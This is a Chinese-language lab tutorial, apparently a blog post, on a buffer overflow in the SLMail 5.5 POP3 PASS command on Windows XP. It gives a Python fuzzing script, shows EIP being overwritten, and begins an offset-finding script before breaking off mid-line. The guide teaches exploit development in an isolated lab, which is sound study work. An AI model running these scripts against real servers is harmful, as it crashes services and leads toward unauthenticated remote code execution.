实验环境:WindowsXP-Pro-sp2
准备:immunity-debugger-1.85;mona-master;slmail5.5
链接:https://pan.baidu.com/s/1BJQGOZnqPtdRbxv2I8Z2OA
提取码:bfot
备注:
里面有一个XP激活工具,在安全模式下使用,我遇到了这个问题,就放到里面了。
为什么用XP?其他更高版本会有防护机制,偏离了缓冲区溢出的初衷,这里就做个简化。
immunity-debugger-1.85;smail5.5分别无脑安装
mona-master中的mona.py移动到\Immunity Inc\Immunity Debugger\PyCommands
检查是否在监听:(留意25,110,180,8376等端口)
攻:kali 192.168.80.158
鸡:XP 192.168.80.80
kali:测试:
nc 192.168.80.80 25
nc 192.168.80.80 110
正文:
1.什么是缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误导致缓冲区被“挤爆了”从而变量覆盖了相邻数据区域的数据。
其实这里有一个感悟,漏洞的形成是因为对输入的限制不严格,人机交互的过程中,‘机’就会被“操作”,xss,SQL,etc
2.想去探究一个邮件服务器是否存在漏洞,从哪里入手?
~就是可以向目标端口输入参数的地方,所谓能够人机交互的点,在这里发送各种参数。与此同时,在xp(服务器端)利用immunity-debugger来跟踪这些接收到的数据是怎么处理的,能不能发生缓冲区溢出。
3.信息收集:
slmail5.5 mail server
~pop3 pass 命令存在缓冲区溢出漏洞
~无需身份验证实现远程代码执行
两种高版本win防护机制:
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
4.如何收集到的pop3漏洞
~有哪些命令?需要哪些函数?
·RFC文档,寻找能够人机交互的点
·wireshark抓包,学习协议,写脚本程序
5.如何触发漏洞
~发送的数据确实大于给定的容量
~针对不同的输入点进行fuzzing测试
~利用python脚本自动化尝试,不断增大数据量,确定目标的“容量是多少”“界限在哪里”
~python脚本:(这里需要注意一点如果把脚本从win直接复制到Linux,会有一个换行的错误)
#!/usr/bin/python
import socket
buffer=["A"]
counter=100
while len(buffer) <= 50:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print "Fuzzing PASS with %s bytes" % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.80.80',110))
s.recv(1024)
s.send('USER test'+'\r\n')
s.recv(1024)
s.send('PASS' + string + '\r\n')
s.send('QUIT\r\n')
s.close()
代码主要功能:
~不停的发送参数A,看什么时候溢出,那么如何判断?
在服务端
6.服务端(XP)动态跟踪
immunity-debugger->attatch110端口->此时客户端执行python脚本,发送大量的参数,会发现2900bytes时候,服务端溢出
重点关注服务端的寄存器状态:
关注EIP、ESP、EBP寄存器的状态:41414141都被填满了A(此处可以对照ASCII码表)
其中EIP存放下一条指令的地址,但是被填满了,就会出错。这个寄存器是重点研究对象。可以利用这一点操作若干事件。
slmail没有对接受的数据的大小进行限制,当数据过于大的时候就会溢出,进而发送的参数值就会覆盖上面三个寄存器的值。
7.知道溢出的精确点
利用python脚本来获取发生溢出的点到底是哪个字节
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2800//测试多少个字节
try:
print "\nSending evil buffer..."
s.connect((<